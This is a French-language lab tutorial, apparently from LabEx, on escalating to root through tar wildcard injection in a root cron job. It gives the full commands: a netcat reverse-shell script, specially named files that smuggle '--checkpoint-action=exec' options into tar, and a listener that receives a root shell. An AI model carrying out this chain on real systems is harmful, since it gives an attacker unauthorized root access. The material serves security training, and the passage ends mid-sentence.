Pour comprendre comment l'injection de caractères génériques peut conduire à une escalade de privilèges, nous allons effectuer un exercice pratique impliquant la commande tar
et crontab
.
-
Tout d'abord, initialisons l'environnement du laboratoire (lab) en exécutant la commande suivante :
Accédez au répertoire /home/labex/project
:
cd /home/labex/project
Exécutez le script de configuration pour initialiser l'environnement du laboratoire :
./env_setup.sh
Après l'initialisation, vous passerez à l'utilisateur user001
(simulant un attaquant ayant obtenu un accès initial au shell).
-
Ensuite, vérifions les tâches planifiées dans le crontab
:
cat /etc/crontab
Sortie attendue :
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *
Vous devriez voir une tâche planifiée pour s'exécuter toutes les minutes, qui archive le contenu du répertoire /var/www/html/
dans un fichier compressé /var/backups/html.tgz
.
-
Ensuite, regardons les fichiers à l'intérieur du répertoire /var/www/html
:
ls /var/www/html
Pour exploiter la vulnérabilité d'injection de caractères génériques, nous devons créer les trois fichiers suivants dans le répertoire /var/www/html/
.
Tout d'abord, accédez au répertoire /var/www/html
:
cd /var/www/html/
-
shell.sh
avec le contenu pour exécuter un reverse shell :
echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
-
Un fichier nommé --checkpoint-action=exec=sh shell.sh
(notez les espaces dans le nom de fichier) :
echo "" > "--checkpoint-action=exec=sh shell.sh"
-
Un fichier nommé --checkpoint=1
:
echo "" > --checkpoint=1
Après avoir créé ces fichiers, le répertoire /var/www/html/
devrait ressembler à ceci :
'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
-
Lorsque la tâche planifiée (cron job) exécute la commande suivante :
tar -zcf /var/backups/html.tgz /var/www/html/*
Elle sera interprétée comme :
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html
Voici ce que signifient les paramètres :
--checkpoint
et --checkpoint-action
sont généralement utilisés ensemble. Le premier définit un point de contrôle, et le second spécifie l'action à effectuer lorsque le point de contrôle est atteint.
--checkpoint-action=exec=sh shell.sh
signifie que lorsque le point de contrôle est atteint, le script shell.sh
sera exécuté.
Ainsi, chaque fois que la tâche planifiée s'exécute, le script shell.sh
sera exécuté, ce qui enverra un reverse shell /bin/bash
au port local 4444.
-
Configurons un écouteur sur le port local 4444 dans le shell actuel :
nc -lnvp 4444
Après un court moment d'attente, lorsque la tâche planifiée sera exécutée, nous devrions recevoir le reverse shell avec les privilèges de superutilisateur (root) :
Sortie attendue :
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 56226
Essayez de créer un fichier success.txt
dans le répertoire /root
pour confirmer que vous avez les privilèges de superutilisateur :
touch /root/success.txt
Si vous pouvez créer le fichier sans erreur de permission, vous avez réussi à escalader vos privilèges en utilisant l'injection de caractères génériques.
Il y a deux limitations importantes à cette technique d'escalade de privilèges avec tar
et crontab
: